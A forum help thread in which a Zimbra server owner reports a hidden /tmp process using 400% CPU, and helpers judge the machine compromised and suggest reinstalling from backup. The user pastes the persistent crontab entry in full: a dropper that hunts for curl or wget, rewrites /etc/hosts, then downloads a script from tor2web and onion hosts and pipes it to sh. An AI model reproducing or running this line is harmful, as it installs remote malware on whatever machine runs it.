Zimbra /tmp/.cache/.kthrotlds 400% CPU usage
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Is the system fully updated?
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yes its update...i had same issue last time i found some scripts in tmp
i just modified inside that and it stopped for somtime..now again its started.. -
@scottalanmiller yes scott
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This appears to be an exploit. Most likely your system has been compromised.
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ok shud i re-install... i have a backup
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@nagendra said in Zimbra /tmp/.cache/.kthrotlds 400% CPU usage:
ok shud i re-install... i have a backup
Maybe.
There is one line in crontab and even when deleted, it comes back?
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yes this is the entry...
/11 * * * * R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then G1="echo";for f in ${BP}/;do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break;done;fi;G2="wget";if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then G2="echo";for f in ${BP}/*;do strings $f 2>/dev/null|grep -q "to [email protected]" && G2="$f" && break;done;fi;if [ $(cat /etc/hosts|grep -i "onion.|timesync.su|tor2web"|wc -l) -ne 0 ];then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;fi; C=" -fsSLk --connect-timeout 26 --max-time 75 ";W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 ";H="https://an7kmd2wp4xo7hpr";T1=".tor2web.su/";T2=".d2web.org/";T3=".onion.sh/";P="src/ldm";($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &
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Yeah, definitely compromised. So the biggest issue is... finding the compromise. It could be anywhere.
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@scottalanmiller said in Zimbra /tmp/.cache/.kthrotlds 400% CPU usage:
nding the compromise. It could be anywhere.
yah better install free zimbra restore the backup...
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@nagendra said in Zimbra /tmp/.cache/.kthrotlds 400% CPU usage:
@scottalanmiller said in Zimbra /tmp/.cache/.kthrotlds 400% CPU usage:
nding the compromise. It could be anywhere.
yah better install free zimbra restore the backup...
Yeha, I think so.
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@nagendra said in Zimbra /tmp/.cache/.kthrotlds 400% CPU usage:
@scottalanmiller said in Zimbra /tmp/.cache/.kthrotlds 400% CPU usage:
nding the compromise. It could be anywhere.
yah better install free zimbra restore the backup...
What is your OS version?
